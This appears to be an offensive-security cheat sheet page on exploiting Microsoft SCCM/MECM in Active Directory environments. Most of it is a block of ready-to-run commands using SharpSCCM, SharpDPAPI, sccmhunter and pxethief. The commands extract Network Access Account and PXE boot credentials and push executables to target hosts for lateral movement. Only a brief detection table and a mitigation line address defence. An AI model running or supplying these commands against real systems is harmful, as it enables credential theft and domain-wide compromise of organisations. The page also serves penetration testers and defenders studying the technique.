title: "Attack #75 β SCCM MECM Exploitation" description: "Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM serversβ¦" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "lateral-movement"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/π· Attack #75 β SCCM MECM Exploitation.md"#
π· Attack #75 β SCCM / MECM Exploitation#
π How It Works#
Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM servers store Network Access Account (NAA) credentials, client push installation credentials, and task sequence passwords β all recoverable by an attacker. Additionally, SCCM can be abused for lateral movement via application deployment and client push.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| SCCM client installed on compromised host | Or local admin on SCCM server |
| Network access to SCCM infrastructure | For credential extraction |
π» Full Commands#
# ββ SharpSCCM β Enumerate SCCM βββββββββββββββββββββββββββββββββββββββββββββββ
.\SharpSCCM.exe local site-info
.\SharpSCCM.exe get site-info -mp SCCM01.corp.local
# ββ Extract NAA credentials (from SCCM client) βββββββββββββββββββββββββββββββ
.\SharpSCCM.exe local naa -m wmi
# Or:
.\SharpDPAPI.exe sccm
# ββ Extract credentials from SCCM database (if DB access) ββββββββββββββββββββ
.\SharpSCCM.exe get naa -mp SCCM01.corp.local -sc COR
# ββ Lateral movement via SCCM application deployment βββββββββββββββββββββββββ
.\SharpSCCM.exe exec -p calc.exe -mp SCCM01 -sc COR -r TARGET
# Deploys and executes on target machine via SCCM
# ββ sccmhunter (Linux) ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 sccmhunter.py find -u low_user -p 'Password1' -d corp.local -dc-ip 10.10.10.10
python3 sccmhunter.py show -u low_user -p 'Password1' -d corp.local
# ββ pxethief β PXE boot media credential extraction ββββββββββββββββββββββββββ
python3 pxethief.py 2 SCCM01.corp.local
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| Application deployment | SCCM logs | Unexpected application deployments |
| 4624 | Security Log | NAA account logon from unexpected source |
π Attack Chain Context#
[SCCM/MECM] βββ Extract creds / deploy payloads across the domain
β
ββββ π NAA credentials often have elevated network access
ββββ π» Task sequence passwords β local admin on deployed machines
ββββ π Defeated by: use Enhanced HTTP, remove NAA, restrict admin roles
β Attack #75 β SCCM/MECM Exploitation complete.